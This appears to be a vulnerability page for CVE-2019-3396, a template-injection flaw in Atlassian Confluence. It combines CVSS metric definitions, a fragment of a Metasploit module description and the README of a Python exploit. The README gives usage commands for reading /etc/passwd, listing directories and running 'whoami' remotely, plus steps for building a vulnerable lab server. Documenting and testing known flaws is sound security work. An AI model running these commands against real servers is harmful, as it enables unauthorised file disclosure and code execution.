Base: Exploitabilty MetricsThe Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component. Attack Vector This metric reflects the context by which vulnerability exploitation is possible. The vulnerable component is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). Attack Complexity This metric describes the conditions beyond the attacker’s control that must exist in order to exploit the vulnerability. Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success when attacking the vulnerable component. Privileges Required This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability. The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack. User Interaction This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable component. The vulnerable system can be exploited without interaction from any user. Base: Scope MetricsThe Scope metric captures whether a vulnerability in one vulnerable component impacts resources in components beyond its security scope. Scope Formally, a security authority is a mechanism (e.g., an application, an operating system, firmware, a sandbox environment) that defines and enforces access control in terms of how certain subjects/actors (e.g., human users, processes) can access certain restricted objects/resources (e.g., files, CPU, memory) in a controlled manner. All the subjects and objects under the jurisdiction of a single security authority are considered to be under one security scope. If a vulnerability in a vulnerable component can affect a component which is in a different security scope than the vulnerable component, a Scope change occurs. Intuitively, whenever the impact of a vulnerability breaches a security/trust boundary and impacts components outside the security scope in which vulnerable component resides, a Scope change occurs. An exploited vulnerability can only affect resources managed by the same security authority. In this case, the vulnerable component and the impacted component are either the same, or both are managed by the same security authority. Base: Impact MetricsThe Impact metrics capture the effects of a successfully exploited vulnerability on the component that suffers the worst outcome that is most directly and predictably associated with the attack. Analysts should constrain impacts to a reasonable, final outcome which they are confident an attacker is able to achieve. Confidentiality Impact This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability. There is a total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server. Integrity Impact This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component. Availability Impact This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability. There is a total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable). Temporal MetricsThe Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence in the description of a vulnerability. Environmental MetricsThese metrics enable the analyst to customize the CVSS score depending on the importance of the affected IT asset to a user’s organization, measured in terms of Confidentiality, Integrity, and Availability.

'Name' => "Atlassian Confluence Widget Connector Macro Velocity Template Injection",
'Description' => %q{
Widget Connector Macro is part of Atlassian Confluence Server and Data Center that
allows embed online videos, slideshows, photostreams and more directly into page.
A _template parameter can be used to inject remote Java code into a Velocity template,
and gain code execution. Authentication is unrequired to exploit this vulnerability.
By default, Java payload will be used because it is cross-platform, but you can also
specify which native payload you want (Linux or Windows).
Confluence before version 6.6.12, from version 6.7.0 before 6.12.3, from version
6.13.0 before 6.13.3 and from version 6.14.0 before 6.14.2 are affected.

Exploit for CVE-2019-3396 (https://www.cvedetails.com/cve/CVE-2019-3396/) Widget Connector macro in Atlassian
Confluence Server server-side template injection.
Vulnerability information:
Authors:
Daniil Dmitriev - Discovering vulnerability
Dmitry (rrock) Shchannikov - Metasploit module
Exploit

exploit/multi/http/confluence_widget_connector
While Metasploit module works perfectly fine it has a limitation that to gain RCE outbound FTP request is being made
from the target Confluence server towards attacker's server where the Velocity template with the payload is being
hosted. If this is not possible, for example, because network where the target Confluence server is located filters all
outbound traffic, alternative approach is needed. This exploit, in addition to original exploit implements this
alternative approach by first uploading the template to the server and then loading it with original vulnerability from
local file system. The limitation is that to upload a file, a valid session is needed for a non-privileged user. Any
user can upload a file to the server by attaching the file to his "personal space".
There are two modes of the exploit:
1. Exploiting path traversal for file disclosure and directory listings.
2. RCE by uploading a template file with payload to the server.
In case where network is filtered and loading remote template is not possible and also you do not have a low-privileged
user session, you can still exploit the '_template' parameter to browse the server file system by using the first mode
of this exploit. Conveniently, application returns file content as well as directory listing depending on to what path
is pointing to. As in original exploit no authentication is needed for this mode.
Limitations of path traversal exploit:
- not possible to distinguish between non-existent path and lack of permissions
- no distinction between files and directories in the output
If you have ability to authenticate to the server and have enough privileges to upload files use the second mode. A
regular user probably has enough privileges for this since each user can have their own personal space where they
should be able to add attachments. This exploit automatically finds the personal space, or creates one if it does not
exists, a file with Velocity template payload. It then uses the original vulnerability but loads the template file
with payload from local filesystem instead from remote system.
Prerequisite of RCE in this exploit:
- authenticated session is needed
- knowledge of where attached files are stored on the file system - if it is not default location then use first mode
to find it, should be in Confluence install directory under ./attachments subdirectory
Usage
- list /etc folder on Confluence server hosted on http://confluence.example.com
python exploit.py -th confluence.example.com fs /etc
- get content of /etc/passwd on same server but through a proxy
python exploit.py -th confluence.example.com -px http://127.0.0.1:8080 fs /etc/passwd
- execute 'whoami' command on the same server (this will upload a template file with payload to the server using
existing session)
python exploit.py -th confluence.example.com rce -c JSESSIONID=ABCDEF123456789ABCDEF123456789AB "whoami"
Tested on Confluence versions:
6.12.1
To test the exploit:
1. Download Confluence trial version for version 6.12.1
https://product-downloads.atlassian.com/software/confluence/downloads/atlassian-confluence-6.12.1-x64.bin
(to find this URL go to download page for the latest version, pick LTS release Linux 64 Bit, turn on the browser
network tools to capture HTTP traffic, click Submit, take the URL from request towards 'product-downloads' and
change the version in URL to be 6.12.1)
SHA256: 679b1c05cf585b92af9888099c4a312edb2c4f9f4399cf1c1b716b03c114e9e6 atlassian-confluence-6.12.1-x64.bin
2. Run the binary to install it, for example on Ubuntu 20.04. Use "Express Install" and everything by default.
chmod +x atlassian-confluence-6.12.1-x64.bin
sudo ./atlassian-confluence-6.12.1-x64.bin
3. Open the browser to configure initial installation, when you get to license window copy the server ID.
4. Create account at https://my.atlassian.com/ and request for new trial license using server ID.
5. Activate the license and finish the installation with default options.
6. Create a user and login with him to go through initial user setup and get the session id for RCE part of the
exploit.
7. Run the exploit (see usage above).
